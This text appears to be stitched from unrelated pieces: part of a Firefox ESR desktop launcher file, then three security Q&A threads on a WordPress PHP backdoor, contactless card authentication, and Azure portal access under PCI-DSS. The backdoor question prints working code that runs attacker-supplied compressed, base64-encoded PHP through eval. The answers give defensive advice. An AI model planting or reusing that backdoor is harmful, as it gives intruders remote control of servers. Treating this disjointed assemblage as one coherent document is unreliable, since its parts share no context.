GenericName[nb]=Nettleser
GenericName[nl]=Webbrowser
GenericName[nn]=Nettlesar
GenericName[no]=Nettleser
GenericName[pl]=Przeglądarka WWW
GenericName[pt]=Navegador Web
GenericName[pt_BR]=Navegador Web
GenericName[ru]=Интернет-браузер
GenericName[sk]=Internetový prehliadač
GenericName[sv]=Webbläsare
X-GNOME-FullName=Firefox ESR Web Browser
X-GNOME-FullName[bg]=Интернет браузър (Firefox ESR)
X-GNOME-FullName[ca]=Navegador web Firefox ESR
X-GNOME-FullName[es]=Navegador web Firefox ESR
X-GNOME-FullName[fi]=Firefox ESR-selain
X-GNOME-FullName[fr]=Navigateur Web Firefox ESR
X-GNOME-FullName[hu]=Firefox ESR webböngésző
X-GNOME-FullName[it]=Firefox ESR Browser Web
X-GNOME-FullName[nb]=Firefox ESR Nettleser
X-GNOME-FullName[nl]=Firefox ESR webbrowser
X-GNOME-FullName[nn]=Firefox ESR Nettlesar
X-GNOME-FullName[no]=Firefox ESR Nettleser
X-GNOME-FullName[pl]=Przeglądarka WWW Firefox ESR
X-GNOME-FullName[pt]=Firefox ESR Navegador Web
X-GNOME-FullName[pt_BR]=Navegador Web Firefox ESR
X-GNOME-FullName[ru]=Интернет-браузер Firefox ESR
X-GNOME-FullName[sk]=Internetový prehliadač Firefox ESR
X-GNOME-FullName[sv]=Webbläsaren Firefox ESR
Exec=/usr/lib/firefox-esr/firefox-esr %u
Terminal=false
X-MultipleArgs=false
Type=Application
Icon=firefox-esr
Categories=Network;WebBrowser;
MimeType=text/html;text/xml;application/xhtml+xml;application/xml;application/vnd.mozilla.xul+xml;application/rss+xml;application/rdf+xml;image/gif;image/jpeg;image/png;x-scheme-handler/http;x-scheme-handler/https;
StartupWMClass=Firefox-esr
StartupNotify=true

If you don't have Firefox installed you can install a it using apt (apt install firefox).


PHP Backdoor on live server Suddenly one of our Wordpress websites started sending spam emails and it was blacklisted on MXToolBox. So with the server support I scaned the files and found a strange file called timer.php containing the following code block:

 if (isset($_REQUEST["q"]) AND $_REQUEST["q"]=="1")
     {echo "200"; exit;}
 if(isset($_POST["key"]) && isset($_POST["chk"]) && $_POST["key"]=="some code")
     eval(gzuncompress(base64_decode($_POST["chk"])));

After some online research I have found out that this is malicious and a backdoor. What are the recommended actions I should take to mitigate this? Would deleting the file be enough?

In short No.

Per @ Alexander O'Mara 's comment you need to find the access.

Wordpress plugins are notorious for adding vulnerabilities a good start would be to audit your plugins:

Get a list of what is there
Confirm all items are supposed to be there.
Find out why they are needed
Ensure the required ones are up-to-date
Check for known vulnerabilities in the latest versions of those
Reconsider the requirement or look for replacements if there is.

You will also need to check for other potential access (wordpress is a good candidate but not the only one) and backdoors they may have left (i.e. ways to regain access such as a new user or reverse shell)

If you have a backup it would be best to update that & rebuild from the basic server. I.e.  delete the current live version & start from the backup or a clean build.

There are services that will filter your outbound mail, we use "Symantec Email Security.cloudmessage" this can alert you if you start to send questionable mail and it seems to work for us I'm sure there are dozens of similar services

Depending on budget time etc you may consider getting someone to do this for you - beware there are lots of people who can use Wordpress but have no idea about security.


How are payment cards secured? Since the era of contactless payments, it's easy to make payment via card without entering PIN code, but how is the card actually secured?

There is limit of 20€ of course, but even committing 20€ payment without person knowing once a day could make a nice 600€/month revenue for hacker.

Is there any protection against a modified card reader in shop, which could possibly read the data, store them and later use them without person knowing to commit payments again?

Edit: I am not asking how to prevent copying data, but rather how is commiting transactions, if machine could once read data and store them, without user knowing prevented

There are different types of authentications for cards.  Years ago the old mag stripe cards (still in use in the USA) had only "Static Data Authentication" (SDA), which was a fixed, unchanging number embedded in the mag stripe, similar to the CVV2 printed on the back of the card.  The data breaches that have rampaged across America in the last few years have been due to exactly the problem you identified; that is the malware in the payment terminal makes a copy of the data and sends it to the hacker.  SDA cannot defend against the type of copying you describe.

A more modern type of authentication is called Dynamic Data Authentication (DDA).  It takes advantage of the fact that the card data is delivered by a computer chip, and is not just a stream of fixed data.  The computer chip runs an algorithm to generate the DDA number; this algorithm uses a rolling code.  This DDA then takes the place of the old SDA.  During authorization, the bank notes the rolling code value used to generate that DDA and invalidates any older DDAs in order to prevent a replay attack using any earlier DDA codes.

That means that if a terminal makes a copy of a DDA card's data verbatim, including the DDA, the bank will still reject it on future transactions because that DDA has already been used.

Finally, EMV supports the Combined DDA (CDA) method, which is a cryptographic operation based on various pieces of data available in the transaction, including the transaction number, amount, terminal ID, an internal counter, a terminal-generated random number, and a secret key stored there by the issuing bank.  The algorithm produces a cryptogram that can only be recalculated by someone who knows all of those components; since they include the secret key, only the bank or the card's chip could reproduce them.

(There was an attack possible when the terminal's generated random numbers weren't truly random; changes to the EMV spec in revision 4.3 addressed that.)

Note that some older EMV chips may still use SDA because it's still supported by the protocols.  But if the authorization data is skimmed or copied, the bank who issued the chip with SDA has to pay for the fraud because they used known insecure technology.


Azure portal in scope for PCI-DSS? I have a few Azure boxes that I'm considering some PCI ramifications for. The boxes themselves are in good shape but I'm concerned about the portal. It can be used to reset passwords, manage firewalls, etc.

From my reading the Azure management console qualifies as 'non console admin access' and therefore should be restricted via multi-factor authentication.

Is my reading correct?

While I'm an not a PCI auditor, that seems reasonable to me.  I'm not sure that it matters though, because good sense dictates that if Azure resources are part of your production environment, and particularly if they're storing sensitive data such as card data or PII, portal access should be protected with MFA. I would say this is a decision you make based on the fact that it's clearly the correct thing to do, and if it turns out to be important for your PCI certification, then you're already set.

Additionally, if it's helpful, Microsoft publishes an Azure PCI DSS Reponsiblity Matrix that can help you better understand what Azure resources provide in terms of PCI compliance, and which responsibilities are still yours.